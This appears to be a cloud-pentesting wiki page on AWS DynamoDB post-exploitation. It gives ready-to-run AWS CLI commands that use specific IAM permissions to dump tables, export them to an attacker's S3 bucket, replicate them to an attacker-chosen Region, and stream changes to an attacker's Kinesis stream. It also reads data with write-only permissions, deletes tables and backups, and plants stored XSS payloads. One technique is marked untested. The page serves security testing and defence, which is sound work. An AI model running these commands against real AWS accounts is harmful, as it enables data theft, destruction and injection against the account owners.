AWS - DynamoDB Post Exploitation

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DynamoDB

For more information check:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

An attacker with this permissions will be able to get items from tables by the primary key (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (describe-table).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
    "ProductCatalog" : { // This is the table name
        "Keys": [
            {
            "Id" : { // Primary keys name
                "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
            }
            }
        ]
    }
}

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:GetItem

Similar to the previous permissions this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
    "N": "205"
}
}

With this permission it's also possible to use the transact-get-items method like:

json
aws dynamodb transact-get-items \
    --transact-items file:///tmp/a.json

// With a.json
[
    {
        "Get": {
            "Key": {
                "Id": {"N": "205"}
            },
            "TableName": "ProductCatalog"
        }
    }
]

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:Query

Similar to the previous permissions this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a subset of comparisons, but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

 // With a.json
 {
"Id" : {
    "ComparisonOperator":"EQ",
    "AttributeValueList": [ {"N": "205"} ]
    }
}

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:Scan

You can use this permission to dump the entire table easily.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:PartiQLSelect

You can use this permission to dump the entire table easily.

bash
aws dynamodb execute-statement \
    --statement "SELECT * FROM ProductCatalog"

This permission also allow to perform batch-execute-statement like:

bash
aws dynamodb batch-execute-statement \
    --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

but you need to specify the primary key with a value, so it isn't that useful.

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

This permission will allow an attacker to export the whole table to a S3 bucket of his election:

bash
aws dynamodb export-table-to-point-in-time \
    --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
    --s3-bucket <attacker_s3_bucket> \
    --s3-prefix <optional_prefix> \
    --export-time <point_in_time> \
    --region <region>

Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:

bash
aws dynamodb describe-continuous-backups \
  --table-name <tablename>

If it isn't enabled, you will need to enable it and for that you need the dynamodb:ExportTableToPointInTime permission:

bash
aws dynamodb update-continuous-backups \
    --table-name <value> \
    --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potential Impact: Indirect privesc by locating sensitive information in the table

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

With these permissions, an attacker would be able to create a new table from a backup (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check information from the backups that could not be any more in the production table.

bash
aws dynamodb restore-table-from-backup \
    --backup-arn <source-backup-arn> \
    --target-table-name <new-table-name> \
    --region <region>

Potential Impact: Indirect privesc by locating sensitive information in the table backup

dynamodb:PutItem

This permission allows users to add a new item to the table or replace an existing item with a new item. If an item with the same primary key already exists, the entire item will be replaced with the new item. If the primary key does not exist, a new item with the specified primary key will be created.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
   "Id": {
      "S": "1000"
   },
   "Name": {
      "S":  "Marc"
   },
   "Description": {
       "S": "<script>alert(1)</script>"
   }
}

Potential Impact: Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table

dynamodb:UpdateItem

This permission allows users to modify the existing attributes of an item or add new attributes to an item. It does not replace the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will create a new item with the specified primary key and set the attributes specified in the update expression.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
    --key file://key.json --update-expression "SET Description = :value" \
    --expression-attribute-values file://val.json
### With key.json:
{
    "Id": {
        "S": "1000"
    }
}
### and val.json
{
    ":value": {
        "S": "<script>alert(1)</script>"
    }
}

Potential Impact: Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table

dynamodb:DeleteTable

An attacker with this permission can delete a DynamoDB table, causing data loss.

bash
aws dynamodb delete-table \
    --table-name TargetTable \
    --region <region>

Potential impact: Data loss and disruption of services relying on the deleted table.

dynamodb:DeleteBackup

An attacker with this permission can delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario.

bash
aws dynamodb delete-backup \
    --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
    --region <region>

Potential impact: Data loss and inability to recover from a backup during a disaster recovery scenario.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO: Test if this actually works

An attacker with these permissions can enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.

  1. Enable a stream on a DynamoDB table:
bash
aws dynamodb update-table \
    --table-name TargetTable \
    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
    --region <region>
  1. Describe the stream to obtain the ARN and other details:
bash
aws dynamodb describe-stream \
    --table-name TargetTable \
    --region <region>
  1. Get the shard iterator using the stream ARN:
bash
aws dynamodbstreams get-shard-iterator \
    --stream-arn <stream_arn> \
    --shard-id <shard_id> \
    --shard-iterator-type LATEST \
    --region <region>
  1. Use the shard iterator to access and exfiltrate data from the stream:
bash
aws dynamodbstreams get-records \
    --shard-iterator <shard_iterator> \
    --region <region>

Potential impact: Real-time monitoring and data leakage of the DynamoDB table's changes.

Read items via dynamodb:UpdateItem and ReturnValues=ALL_OLD

An attacker with only dynamodb:UpdateItem on a table can read items without any of the usual read permissions (GetItem/Query/Scan) by performing a benign update and requesting --return-values ALL_OLD. DynamoDB will return the full pre-update image of the item in the Attributes field of the response (this does not consume RCUs).

  • Minimum permissions: dynamodb:UpdateItem on the target table/key.
  • Prerequisites: You must know the item's primary key.

Example (adds a harmless attribute and exfiltrates the previous item in the response):

bash
aws dynamodb update-item \
  --table-name <TargetTable> \
  --key '{"<PKName>":{"S":"<PKValue>"}}' \
  --update-expression 'SET #m = :v' \
  --expression-attribute-names '{"#m":"exfil_marker"}' \
  --expression-attribute-values '{":v":{"S":"1"}}' \
  --return-values ALL_OLD \
  --region <region>

The CLI response will include an Attributes block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.

Potential Impact: Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items.

bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
  --table-name <TableName> \
  --replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
  --region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Permissions: dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.

dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)

An attacker with transactional write privileges can exfiltrate the full attributes of an existing item by performing an Update inside TransactWriteItems that intentionally fails a ConditionExpression while setting ReturnValuesOnConditionCheckFailure=ALL_OLD. On failure, DynamoDB includes the prior attributes in the transaction cancellation reasons, effectively turning write-only access into read access of targeted keys.

bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
  {
    "Update": {
      "TableName": "<TableName>",
      "Key": {"<PKName>": {"S": "<PKValue>"}},
      "UpdateExpression": "SET #m = :v",
      "ExpressionAttributeNames": {"#m": "marker"},
      "ExpressionAttributeValues": {":v": {"S": "x"}},
      "ConditionExpression": "attribute_not_exists(<PKName>)",
      "ReturnValuesOnConditionCheckFailure": "ALL_OLD"
    }
  }
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
  --transact-items file:///tmp/tx_items.json \
  --region <region> \
  --return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Permissions: dynamodb:TransactWriteItems on the target table (and the underlying item). No read permissions are required.

Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

Bypass read restrictions by creating a Global Secondary Index (GSI) with ProjectionType=ALL on a low-entropy attribute, set that attribute to a constant value across items, then Query the index to retrieve full items. This works even if Query/Scan on the base table is denied, as long as you can query the index ARN.

  • Minimum permissions:
    • dynamodb:UpdateTable on the target table (to create the GSI with ProjectionType=ALL).
    • dynamodb:UpdateItem on the target table keys (to set the indexed attribute on each item).
    • dynamodb:Query on the index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Steps (PoC in us-east-1):

bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
  --attribute-definitions AttributeName=id,AttributeType=S \
  --key-schema AttributeName=id,KeyType=HASH \
  --billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
  aws dynamodb put-item --table-name HTXIdx \
  --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
  --region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
  --attribute-definitions AttributeName=X,AttributeType=S \
  --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
  --region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
  --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
  aws dynamodb update-item --table-name HTXIdx \
  --key "{\"id\":{\"S\":\"$i\"}}" \
  --update-expression 'SET #x = :v' \
  --expression-attribute-names '{"#x":"X"}' \
  --expression-attribute-values '{":v":{"S":"dump"}}' \
  --region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
  --key-condition-expression '#x = :v' \
  --expression-attribute-names '{"#x":"X"}' \
  --expression-attribute-values '{":v":{"S":"dump"}}' \
  --region us-east-1

Potential Impact: Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.

dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)

Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate changes from a table into an attacker-controlled Kinesis Data Stream. Once enabled, every INSERT/MODIFY/REMOVE event is forwarded near real-time to the stream without needing read permissions on the table.

Minimum permissions (attacker):

  • dynamodb:EnableKinesisStreamingDestination on the target table
  • Optionally dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable to monitor status
  • Read permissions on the attacker-owned Kinesis stream to consume records: kinesis:*
PoC (us-east-1)
bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
  --attribute-definitions AttributeName=id,AttributeType=S \
  --key-schema AttributeName=id,KeyType=HASH \
  --billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
  --item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}

# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
  --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
  --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
  --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
  --item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
  --key file:///tmp/htx_key_a1.json \
  --update-expression "SET #i = :v" \
  --expression-attribute-names {#i:info} \
  --expression-attribute-values {:v:{S:updated}} \
  --region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
  --query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
  --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
  --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

Potential Impact: Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.

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